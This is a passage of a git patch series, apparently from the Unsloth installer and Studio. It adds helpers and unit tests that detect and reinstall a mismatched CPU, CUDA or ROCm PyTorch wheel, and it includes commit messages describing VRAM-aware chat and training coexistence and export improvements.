+    # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is
+    # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx*
+    # is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install
+    # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops.
+    if (-not $SkipTorch) {
+        $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl
+        if ($expectedTorchTag -and $expectedTorchTag -ne 'cpu') {
+            $installedTorchTag = Get-InstalledTorchTag -PythonExe $VenvPython
+            if ($installedTorchTag -and $installedTorchTag -ne $expectedTorchTag) {
+                if ($expectedTorchTag -eq 'rocm' -and $ROCmIndexUrl) {
+                    # AMD: a migrated venv can keep a stale CPU torch the fresh ROCm path
+                    # would have force-reinstalled. Repair from the same repo.amd.com index.
+                    $rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
+                    substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow"
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec torchvision torchaudio }
+                    if ($torchFixExit -ne 0) {
+                        Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red
+                        return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit)
+                    }
+                    $installedTorchTag = Get-InstalledTorchTag -PythonExe $VenvPython
+                } elseif ($expectedTorchTag -ne 'rocm') {
+                    # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet.
+                    substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow"
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
+                    if ($torchFixExit -ne 0) {
+                        Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red
+                        return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit)
+                    }
+                    $installedTorchTag = Get-InstalledTorchTag -PythonExe $VenvPython
+                }
+            }
+            # Safety net (incl. AMD): GPU build expected but still CPU -> warn loudly.
+            if ($installedTorchTag -eq 'cpu') {
+                Write-Host ""
+                Write-Host "  [WARN] PyTorch is CPU-only but a $expectedTorchTag GPU build was expected for this machine." -ForegroundColor Yellow
+                Write-Host "  [WARN] Training and GPU inference will run on CPU until this is fixed." -ForegroundColor Yellow
+                Write-Host "  [WARN] Re-run this installer, or reinstall the GPU build manually for your GPU." -ForegroundColor Yellow
+            }
+        }
+    }
+
     # Overlay Tauri-bundled studio fixes that may be ahead of PyPI. Skipped
     # for --local: the editable install above already makes _PACKAGE_ROOT in
     # unsloth_cli/commands/studio.py resolve to the repo (PEP 660 __file__).
diff --git a/install.sh b/install.sh
index f80d9b63b2..a0d8637d94 100755
--- a/install.sh
+++ b/install.sh
@@ -1990,6 +1990,45 @@ get_torch_index_url() {
     else echo "$_base/cpu"; fi
 }
 
+# ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ──
+# torch.__version__ ($1) -> flavor tag (cuXXX / rocm / cpu); untagged wheel = cpu.
+_torch_flavor_tag() {
+    case "$1" in
+        *+cu[0-9]*) printf '%s\n' "$1" | sed -n 's/.*+\(cu[0-9][0-9]*\).*/\1/p' ;;
+        *+rocm*)    echo "rocm" ;;
+        *+cpu*)     echo "cpu" ;;
+        "")         echo "" ;;
+        *)          echo "cpu" ;;
+    esac
+}
+
+# Expected tag from the index leaf ($1): cuXXX / cpu / rocm (rocmX.Y and gfx* ->
+# rocm). Empty on an unknown leaf (odd mirror) so the repair safely no-ops.
+_expected_torch_flavor_tag() {
+    _u="${1%/}"
+    _leaf="${_u##*/}"
+    case "$_leaf" in
+        cu[0-9]*)   echo "$_leaf" ;;
+        cpu)        echo "cpu" ;;
+        rocm*|gfx*) echo "rocm" ;;
+        *)          echo "" ;;
+    esac
+}
+
+# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX /
+# rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv
+# resolves (torch + every transitive dep) via --index-url -- the same URLs the
+# fresh-install paths above already use -- so a stale wheel is auto-repairable.
+# Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall.
+_torch_index_repairable() {
+    _u="${1%/}"
+    _leaf="${_u##*/}"
+    case "$_leaf" in
+        cu[0-9]*|rocm[0-9]*|gfx*) echo "yes" ;;
+        *)                        echo "no" ;;
+    esac
+}
+
 get_radeon_wheel_url() {
     # Only meaningful on Linux. Picks a repo.radeon.com base URL whose listing
     # contains torch wheels. Tries paths like rocm-rel-7.2.1/, rocm-rel-7.2/,
@@ -2513,7 +2552,7 @@ if [ "$_MIGRATED" = true ]; then
     # fresh reinstall.
     if [ "$SKIP_TORCH" = false ]; then
         case "$TORCH_INDEX_URL" in
-            */rocm*)
+            */rocm*|*/gfx*)
                 _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY"
                 # Repair ROCm torch if overwritten during migrated install
                 _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
@@ -2689,7 +2728,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
     # which is only useful once torch is present for training.
     if [ "$SKIP_TORCH" = false ]; then
         case "$TORCH_INDEX_URL" in
-            */rocm*)
+            */rocm*|*/gfx*)
                 _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY"
                 ;;
         esac
@@ -2735,7 +2774,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
     # CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1.
     if [ "$SKIP_TORCH" = false ]; then
         case "$TORCH_INDEX_URL" in
-            */rocm*)
+            */rocm*|*/gfx*)
                 _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
                 if [ -z "$_has_hip" ]; then
                     substep "repairing ROCm torch (overwritten by dependency resolution)..."
@@ -2764,6 +2803,41 @@ else
     fi
 fi
 
+# ── Enforce the installed torch flavor matches the detected GPU build ──
+# PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv
+# keeps a stale torch==X+cpu against a GPU index and the venv silently trains on
+# CPU. Reinstall the right wheel triplet when a GPU build is expected; if it
+# can't be reinstalled, warn loudly. --no-torch / CPU-only / macOS: no-op.
+if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
+    _expected_torch_tag=$(_expected_torch_flavor_tag "$TORCH_INDEX_URL")
+    # Only act when a GPU build is expected (cuXXX / rocm); cpu and unknown skip.
+    if [ -n "$_expected_torch_tag" ] && [ "$_expected_torch_tag" != "cpu" ]; then
+        _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
+        _installed_torch_tag=""
+        [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver")
+        # Repair when flavor is wrong AND the index is plain --index-url reinstallable
+        # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only.
+        if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \
+           && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then
+            substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..."
+            run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \
+                "$TORCH_CONSTRAINT" torchvision torchaudio \
+                --index-url "$TORCH_INDEX_URL" \
+                --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio
+            _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
+            _installed_torch_tag=""
+            [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver")
+        fi
+        # Safety net (incl. AMD/WSL): GPU build expected but still CPU -> warn loudly.
+        if [ "$_installed_torch_tag" = "cpu" ]; then
+            substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN"
+            substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN"
+            substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN"
+            substep "[WARN]   uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
+        fi
+    fi
+fi
+
 # ── Run studio setup ──
 tauri_log "STEP" "Running Studio setup"
 # When --local, use the repo's own setup.sh directly.
diff --git a/tests/run_all.sh b/tests/run_all.sh
index d84c930392..4311aa4276 100755
--- a/tests/run_all.sh
+++ b/tests/run_all.sh
@@ -9,6 +9,7 @@ sh "$TESTS_DIR/sh/test_get_torch_index_url.sh"
 sh "$TESTS_DIR/sh/test_mac_intel_compat.sh"
 sh "$TESTS_DIR/sh/test_torch_constraint.sh"
 sh "$TESTS_DIR/sh/test_nvcc_meets_llama_minimum.sh"
+sh "$TESTS_DIR/sh/test_torch_flavor.sh"
 
 echo ""
 echo "=== Python tests ==="
diff --git a/tests/sh/test_torch_flavor.sh b/tests/sh/test_torch_flavor.sh
new file mode 100755
index 0000000000..1f25ad807c
--- /dev/null
+++ b/tests/sh/test_torch_flavor.sh
@@ -0,0 +1,68 @@
+#!/bin/bash
+# Unit tests for install.sh's torch-flavor helpers (_torch_flavor_tag,
+# _expected_torch_flavor_tag, _torch_index_repairable) that drive the
+# stale-CPU-PyTorch repair. Helpers are extracted from install.sh and sourced.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+PASS=0
+FAIL=0
+
+# Extract the three helper functions from install.sh and source them.
+_FUNC_FILE=$(mktemp)
+{
+    sed -n '/^_torch_flavor_tag()/,/^}/p' "$INSTALL_SH"
+    echo ""
+    sed -n '/^_expected_torch_flavor_tag()/,/^}/p' "$INSTALL_SH"
+    echo ""
+    sed -n '/^_torch_index_repairable()/,/^}/p' "$INSTALL_SH"
+} > "$_FUNC_FILE"
+# shellcheck disable=SC1090
+. "$_FUNC_FILE"
+rm -f "$_FUNC_FILE"
+
+assert_eq() {
+    _label="$1"; _expected="$2"; _actual="$3"
+    if [ "$_actual" = "$_expected" ]; then
+        echo "  PASS: $_label"; PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected '$_expected', got '$_actual')"; FAIL=$((FAIL + 1))
+    fi
+}
+
+echo "=== _torch_flavor_tag ==="
+assert_eq "cu130 wheel"        "cu130" "$(_torch_flavor_tag '2.10.0+cu130')"
+assert_eq "cu128 wheel"        "cu128" "$(_torch_flavor_tag '2.8.0+cu128')"
+assert_eq "cu124 wheel"        "cu124" "$(_torch_flavor_tag '2.5.1+cu124')"
+assert_eq "cu118 wheel"        "cu118" "$(_torch_flavor_tag '2.4.0+cu118')"
+assert_eq "cpu wheel"          "cpu"   "$(_torch_flavor_tag '2.10.0+cpu')"
+assert_eq "untagged -> cpu"    "cpu"   "$(_torch_flavor_tag '2.10.0')"
+assert_eq "rocm wheel"         "rocm"  "$(_torch_flavor_tag '2.11.0+rocm7.1')"
+assert_eq "nightly cu130"      "cu130" "$(_torch_flavor_tag '2.10.0.dev20250601+cu130')"
+assert_eq "cu130 with suffix"  "cu130" "$(_torch_flavor_tag '2.10.0+cu130.post1')"
+assert_eq "empty -> empty"     ""      "$(_torch_flavor_tag '')"
+assert_eq "garbage -> cpu"     "cpu"   "$(_torch_flavor_tag 'not-a-version')"
+
+echo "=== _expected_torch_flavor_tag ==="
+assert_eq "cu130 index"        "cu130" "$(_expected_torch_flavor_tag 'https://download.pytorch.org/whl/cu130')"
+assert_eq "cu130 trailing /"   "cu130" "$(_expected_torch_flavor_tag 'https://download.pytorch.org/whl/cu130/')"
+assert_eq "cu128 index"        "cu128" "$(_expected_torch_flavor_tag 'https://download.pytorch.org/whl/cu128')"
+assert_eq "cpu index"          "cpu"   "$(_expected_torch_flavor_tag 'https://download.pytorch.org/whl/cpu')"
+assert_eq "rocm index"         "rocm"  "$(_expected_torch_flavor_tag 'https://download.pytorch.org/whl/rocm7.2')"
+assert_eq "amd gfx index"      "rocm"  "$(_expected_torch_flavor_tag 'https://repo.amd.com/rocm/whl/gfx120X-all/')"
+assert_eq "mirror cu130 leaf"  "cu130" "$(_expected_torch_flavor_tag 'https://my.mirror/pytorch/whl/cu130')"
+assert_eq "unrecognized leaf"  ""      "$(_expected_torch_flavor_tag 'https://my.mirror/whl/simple')"
+assert_eq "empty url"          ""      "$(_expected_torch_flavor_tag '')"
+
+echo "=== _torch_index_repairable ==="
+assert_eq "cu130 repairable"   "yes"   "$(_torch_index_repairable 'https://download.pytorch.org/whl/cu130')"
+assert_eq "rocm7.2 repairable" "yes"   "$(_torch_index_repairable 'https://download.pytorch.org/whl/rocm7.2')"
+assert_eq "gfx repairable"     "yes"   "$(_torch_index_repairable 'https://repo.amd.com/rocm/whl/gfx120X-all/')"
+assert_eq "gfx1151 repairable" "yes"   "$(_torch_index_repairable 'https://repo.amd.com/rocm/whl/gfx1151/')"
+assert_eq "cpu NOT repairable" "no"    "$(_torch_index_repairable 'https://download.pytorch.org/whl/cpu')"
+assert_eq "unknown NOT repair" "no"    "$(_torch_index_repairable 'https://my.mirror/whl/simple')"
+
+echo ""
+echo "Results: $PASS passed, $FAIL failed"
+[ "$FAIL" -eq 0 ]
diff --git a/tests/studio/test_torch_flavor.ps1 b/tests/studio/test_torch_flavor.ps1
new file mode 100644
index 0000000000..86303af16c
--- /dev/null
+++ b/tests/studio/test_torch_flavor.ps1
@@ -0,0 +1,52 @@
+#!/usr/bin/env pwsh
+# Unit test for install.ps1's torch-flavor helpers (ConvertTo-TorchFlavorTag,
+# Get-ExpectedTorchFlavorTag) that drive the stale-CPU-PyTorch repair. Pure
+# helpers, AST-extracted and run in-process -- no GPU/venv needed.
+# Run: pwsh -NoProfile -File tests/studio/test_torch_flavor.ps1
+
+$ErrorActionPreference = "Stop"
+$installPath = [System.IO.Path]::Combine($PSScriptRoot, "..", "..", "install.ps1")
+$installPath = (Resolve-Path $installPath).Path
+
+# --- Parse install.ps1 (also serves as a syntax gate) and extract the helpers ---
+$tokens = $null; $errors = $null
+$ast = [System.Management.Automation.Language.Parser]::ParseFile($installPath, [ref]$tokens, [ref]$errors)
+if ($errors) { $errors | ForEach-Object { $_.ToString() }; throw "install.ps1 has parse errors" }
+
+foreach ($name in @("ConvertTo-TorchFlavorTag", "Get-ExpectedTorchFlavorTag")) {
+    $fn = $ast.FindAll({ param($n)
+        $n -is [System.Management.Automation.Language.FunctionDefinitionAst] -and $n.Name -eq $name
+    }, $true)
+    if ($fn.Count -ne 1) { throw "expected exactly one $name in install.ps1, found $($fn.Count)" }
+    # Pure helpers (no exit / external calls) -- safe to define in this scope.
+    Invoke-Expression $fn[0].Extent.Text
+}
+
+$failures = 0
+function Check($name, $cond) {
+    if ($cond) { Write-Host "  PASS  $name" }
+    else { Write-Host "  FAIL  $name" -ForegroundColor Red; $script:failures++ }
+}
+
+Write-Host "ConvertTo-TorchFlavorTag"
+Check "2.10.0+cu130 -> cu130"        ((ConvertTo-TorchFlavorTag "2.10.0+cu130") -eq "cu130")
+Check "2.8.0+cu128 -> cu128"         ((ConvertTo-TorchFlavorTag "2.8.0+cu128")  -eq "cu128")
+Check "2.10.0+cpu -> cpu"            ((ConvertTo-TorchFlavorTag "2.10.0+cpu")    -eq "cpu")
+Check "2.10.0 (untagged) -> cpu"     ((ConvertTo-TorchFlavorTag "2.10.0")        -eq "cpu")
+Check "2.11.0+rocm7.1 -> rocm"       ((ConvertTo-TorchFlavorTag "2.11.0+rocm7.1") -eq "rocm")
+Check "empty -> null"                ($null -eq (ConvertTo-TorchFlavorTag ""))
+
+Write-Host "Get-ExpectedTorchFlavorTag"
+Check "cu130 index -> cu130"         ((Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://download.pytorch.org/whl/cu130") -eq "cu130")
+Check "trailing slash -> cu130"      ((Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://download.pytorch.org/whl/cu130/") -eq "cu130")
+Check "cpu index -> cpu"             ((Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://download.pytorch.org/whl/cpu") -eq "cpu")
+Check "ROCm url -> rocm"             ((Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://download.pytorch.org/whl/cpu" -ROCmIndexUrl "https://repo.amd.com/rocm/whl/gfx120X-all/") -eq "rocm")
+Check "gfx index leaf -> rocm"        ((Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://repo.amd.com/rocm/whl/gfx120X-all/") -eq "rocm")
+Check "rocm7.2 leaf -> rocm"          ((Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://download.pytorch.org/whl/rocm7.2") -eq "rocm")
+Check "mirror cu130 leaf -> cu130"   ((Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://my.mirror/whl/cu130") -eq "cu130")
+Check "unrecognized leaf -> null"    ($null -eq (Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://my.mirror/whl/simple"))
+Check "empty url -> null"            ($null -eq (Get-ExpectedTorchFlavorTag -TorchIndexUrl ""))
+
+Write-Host ""
+if ($failures -gt 0) { Write-Host "$failures check(s) FAILED" -ForegroundColor Red; exit 1 }
+Write-Host "All checks passed" -ForegroundColor Green

From c42c1d56e8910b1ad6bc8b6d473ace6085a0a765 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 09:04:01 -0700
Subject: [PATCH 81/91] Studio: free chat model VRAM at training start only
 when the GPU is tight (#6243)

* Studio: free chat model VRAM at training start only when the GPU is tight

The training start route unconditionally tore down the transformers/MLX
inference subprocess before training, and never stopped the llama.cpp GGUF
server at all, so a loaded GGUF chat model kept holding VRAM for the whole
run. Conversely the HF model was always unloaded even when there was plenty
of room to keep it.

Make the unload VRAM aware and cover every inference backend:

- Add routes/training_vram.py with summarize_resident_chat(),
  can_keep_chat_during_training() and free_chat_models_for_training(). The
  keep/unload decision reuses the same estimator and live per device free
  VRAM reader the training GPU selection already uses (auto_select_gpu_ids,
  estimate_required_model_memory_gb, get_visible_gpu_utilization), so the
  probe agrees with the placement computed later in start_training.
- When a chat model is resident and training fits alongside it with a
  conservative margin (required_gb * 1.15 + 4 GB), keep it loaded so the
  user can train and chat at the same time; on a multi GPU box training
  lands on a different GPU and both coexist. Otherwise unload the HF/MLX
  orchestrator and the llama.cpp GGUF server before training starts.
- The export subprocess shutdown stays unconditional and now runs first so
  its freed VRAM is reflected in the decision.

Default deny: non CUDA backends, unestimable models, or any probe error
fall back to the previous always unload behavior.

Adds tests/test_training_vram_coexistence.py and updates two existing route
tests in test_gpu_selection.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: per-GPU floor for explicit GPU lists + don't unload chat on invalid gpu_ids

Address review feedback on the chat coexistence probe:

- Explicit gpu_ids mode now enforces a per-GPU floor in addition to the
  aggregate free-VRAM check, mirroring auto_select_gpu_ids' min_per_gpu_N.
  Without it, an uneven split such as free [45, 10] for a 40 GB job passed
  the aggregate threshold and kept chat loaded even though the 10 GB GPU
  could not hold its training shard, risking an OOM.
- Invalid explicit gpu_ids (ids outside the visible set, or a UUID/MIG
  mask) make resolve_requested_gpu_ids raise. That request is rejected with
  a 400 before training starts, so leave the resident chat model untouched
  instead of unloading it.
- Tighten the target_modules / gpu_ids type hints to List[str] / List[int].

Adds tests for the per-GPU floor (uneven split unloads, even split keeps)
and for invalid gpu_ids keeping the chat model loaded.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: only free chat VRAM once training will start; handle in-flight and CPU-only chat

Address the second review pass on the chat-coexistence path:

- Run the chat/export VRAM teardown as a before_spawn hook inside
  TrainingBackend.start_training, fired only after the start guards pass.
  Previously the route freed chat VRAM before calling start_training, so a
  refused start (e.g. a lingering pump thread) would tear down the resident
  chat model even though no training job began.
- Treat an in-flight HF chat load (loading_models set, no active model yet)
  as not safely sizeable: free it rather than risk both OOMing as the load
  keeps allocating after training starts.
- Do not count or tear down a GGUF llama-server confirmed to run entirely on
  CPU (_gpu_offload_active is False): it holds no VRAM, so killing it cannot
  help training fit.

Adds tests for the before_spawn hook (runs on start, skipped when a
subprocess is alive or a pump thread will not die, survives a hook error),
the in-flight load flag, and the CPU-only GGUF exclusion in both the resident
summary and the unload path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: treat any in-flight chat load (HF swap / mid-start GGUF) as unsafe to keep

Tighten the in-flight detection in summarize_resident_chat so the keep check
never sizes a load that is still allocating:

- Flag loading on ANY non-empty loading_models, not only when active_model_name
  is empty. load_model adds the new model to loading_models before clearing the
  old active_model_name, so a replacement load during a swap was previously
  sized as a normal resident and could OOM as the new model finishes loading.
- Flag a GGUF server that is active but not yet healthy (is_loaded False) as
  in-flight: it is still mmaping/offloading layers, so its final VRAM footprint
  is unknown.

Consolidates the signal into a single resident["loading"] flag; the route frees
the chat model whenever it is set. Adds tests for the replacement HF load and
the mid-start GGUF cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten comments in chat/training VRAM coexistence (comments only)

* Studio: run before_spawn VRAM hook only after GPU-selection validation

Reviewers found the before_spawn hook fired before prepare_gpu_selection
validated gpu_ids (and before config build), so a refused start (invalid
gpu_ids -> 400, or a bad grad-clip value) could still tear down chat/export
VRAM. Move the hook to immediately before proc.start(), once all synchronous
validation and process construction have passed. This also fixes the route's
in-flight-chat loading branch, since that teardown runs inside the same hook.

Add test_hook_skipped_when_gpu_selection_rejects.

* Studio: recompute GPU auto-selection after the before_spawn VRAM hook

Codex P2: with before_spawn moved after prepare_gpu_selection, placement was
frozen against the pre-teardown VRAM state while the hook freed export/chat
afterward. Auto-selection could pin training onto a GPU the hook then cleared
(or onto a kept chat model). Split validation from placement: explicit gpu_ids
are still validated before the hook (raise -> 400, no teardown; explicit
placement is VRAM-independent), but VRAM-dependent auto-selection now runs
after the hook so it sees the freed memory.

Add test_auto_placement_runs_after_hook and test_explicit_placement_validated_before_hook.

* Studio: allow chatting during training (lift sidebar gate + VRAM-aware load guard) (#6335)

* Studio: allow chatting during training (lift sidebar gate + VRAM-aware load guard)

The sidebar disabled New Chat, project, and home navigation while a training
run was active, so users could not chat during training even though the backend
serves inference fine alongside a run. This removes that gate and adds a backend
guard so the one genuinely risky operation, loading a new local chat model
mid-training, is refused with a clear 409 when it would not fit beside the run.

Frontend (app-sidebar.tsx): drop the chatDisabled = isTrainingRunning gate and
its consumers. Navigation triggers no model load on its own, so chat stays
usable during training.

Backend (routes/training_vram.py, routes/inference.py): add
can_load_chat_during_training plus a load/validate guard that sizes the same
effective load the loader performs (LoRA 4-bit to 16-bit resolved first, HF auto
placement via auto_select_gpu_ids, explicit multi-GPU per-GPU floor, GGUF sized
from on-disk shards and companions or the selected remote variant). It is a
no-op when training is inactive, never blocks external providers or
already-resident models, and default-denies only on a CUDA sizing failure so a
load can never OOM the run. Validate refuses early with the real settings so the
frontend does not unload the resident chat model for a load that would be
rejected.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address review feedback for chat-during-training load guard

- Run the load/validate VRAM guard via asyncio.to_thread so the sync
  nvidia-smi + HF metadata work never blocks the event loop.
- Size the GGUF KV cache at the requested context (_estimate_gguf_kv_gb)
  and add it to the local GGUF estimate so large-context picks are not
  under-counted.
- Keep the requested quantization when adapter_config.json is malformed
  (not a JSON object) instead of raising in _effective_load_in_4bit.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: size the training load guard at the launcher's effective GGUF context

The GGUF KV-cache estimate used max_seq_length only, but the llama.cpp
launcher honors a user --ctx-size/-c in llama_extra_args. A load such as
max_seq_length=4096 with --ctx-size 131072 was sized against a 4k cache
while the server allocates 131k, so the guard could approve a long-context
GGUF load that then OOMs training. Size the guard's KV at the larger of
max_seq_length and the parsed --ctx-size (reusing the launcher's own
parse_ctx_override), keeping the conservative f16 cache so the estimate is
never smaller than what the server allocates.

The chat model picker also validated with the raw max_seq_length while
/load sizes with resolveLoadMaxSeqLength, so validate could pass, unload
the current model, then have /load reject the native-context load. Validate
now uses the same effective context; the load path is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: size the GGUF training guard at the server parallel-slot count

The KV-cache estimate assumed a single slot, but llama-server allocates the
cache across --parallel slots (app.state.llama_parallel_slots). On a Studio
launched with --parallel N>1 the guard under-sized the cache N-fold and could
approve a GGUF chat load that then OOMs training. Thread the same slot count
the loader uses into the guard's KV estimate; default 1 leaves single-slot
setups unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments for chat-during-training guard

* Studio: keep chat generation alive across navigation; Train spinner + Return to Chat

Hoist the base chat runtime above the routed outlet so navigating to Train (or any tab) no longer aborts an in-flight generation; only an explicit Stop cancels. Add a Train sidebar spinner and swap New Chat to Return to Chat while a run is active, with a lightweight completion watch so the spinner clears from any tab. Also respawn a chat llama-server killed mid-session and guard unreadable HF cache dirs that 500'd the hub model list.

* Studio: show Return to Chat on the Train tab whenever a chat is live

Previously the top sidebar item only swapped to Return to Chat while training was running; on the Train tab with an idle/just-finished run it stayed New Chat, which started a fresh thread and cancelled an in-flight generation. Show Return to Chat (and navigate back, preserving the run) whenever a generation is running or its thread is still active, or training is in progress.

* Studio: keep a running chat alive when starting a New Chat

Starting a New Chat (or switching threads) while a generation was in flight
remounted the single-chat runtime provider, which detached the in-flight run
and cut the previous chat off (it showed up frozen / empty when reopened).

Key the single-chat view by project instead of by thread or new-chat nonce so
the provider stays mounted and assistant-ui switches to a fresh thread in place.
The previous generation keeps streaming in the background and autosaves on
completion, and returning to that thread reattaches the live run instead of
reloading a half-saved one.

Also:
- "Return to Chat" now lands on the thread that is still generating rather than
  the empty new chat that became active after New Chat.
- Skip the explicit /inference/cancel POST when an abort comes from a runtime
  detach (navigation / background switch) rather than an explicit Stop, so a
  backgrounded generation is never cancelled behind the scenes.

* Studio: make model export non-blocking and inline

The Export tab opened a full-screen modal that trapped focus, could not be
closed or cancelled while running, and showed no progress. It also stopped
training and unloaded the chat model before loading, so export could not run
alongside them.

Export now mirrors the training runtime pattern:

- Inline panel embedded where the Export Model button was, with no modal or
  backdrop, so the rest of the UI stays usable during an export.
- Global export runtime store plus an app-root lifecycle hook, so a run keeps
  going and streaming across navigation and is reflected on the Export nav item
  from any tab.
- The worker log stream now stays connected across the load to export phase
  boundary instead of stranding on "Waiting for worker output".
- Progress bar driven by phase and quant index (quant N of M for GGUF), with
  elapsed time and a working Cancel.
- load-checkpoint no longer stops training or unloads inference; export loads in
  its own subprocess in parallel and surfaces out-of-memory as a clear error.
- Add POST /api/export/cancel and is_export_active on /api/export/status.

* Studio: show Return to Chat on the Export tab too

Extend the New Chat to Return to Chat swap to the Export route so leaving a
running chat for Export offers a way back to the live generation, matching the
Train tab.

* Studio: smooth out Export animations and polish the panel

- Drop the height-based reveal animations (source switch, run panel, quant
  picker, hub fields) that caused flashing and reflow; use instant swaps and
  quick opacity fades instead.
- Method and quant cards now transition colors only, with no transition-all or
  hover lift, so selecting a method or quant is crisp instead of jumpy.
- Auto-scroll the export panel into view when it opens and add a scroll-to-bottom
  button when its output is below the fold, like Chat.
- Show Return to Chat on the Export tab while an export is running, matching how
  training drives it on the Train tab.
- Surface the current phase or stage in the live output before the first worker
  line arrives so the panel never looks stuck while progress is advancing.

* Studio: show Return to Chat on every non-chat tab

Generalize the Return to Chat swap from just Train/Export to any non-chat route
(Recipes, Projects, Hub, ...) so a running or active chat is always one click
away, instead of showing New Chat there.

* Studio: stream export logs over the Cloudflare tunnel; drop janky export animations

Exporting over a --secure Cloudflare quick tunnel showed "connecting..." with no
logs while the progress bar advanced. Cloudflare buffers text/event-stream and
only flushes when the stream closes, so the SSE log stream never reached the
browser during the run (direct localhost is unaffected, which is why this only
showed up over the tunnel).

Add a tunnel-safe JSON poll fallback (GET /api/export/logs?since=) that the
runtime lifecycle hook polls while a run is active. Short JSON responses are not
buffered by the proxy, so logs show up in near real time over the tunnel. It
shares the orchestrator's monotonic seq cursor with the SSE stream and the store
de-dupes by seq, so the two transports run together (SSE on localhost, poll over
the tunnel) without double-printing. A successful poll marks the panel
"streaming" instead of leaving it stuck on "connecting...".

Also remove the framer-motion AnimatePresence reveals from the export config and
run panel (quant picker, hub fields, the inline run panel, and the live log
section). The expand/slide animations flashed and felt clunky; the sections now
render in place.

* Studio: recover export over the Cloudflare tunnel when the blocking POST times out (524)

A model export over a --secure Cloudflare quick tunnel showed "Request failed
(524)" even though the export succeeded on the backend (the GGUF was written).
Cloudflare returns 524 when a single request takes longer than ~100s to respond,
and a GGUF conversion routinely runs for minutes, so the blocking per-method
export POST is cut off while the backend keeps going.

Confirm completion via short status polls instead of relying on the long POST
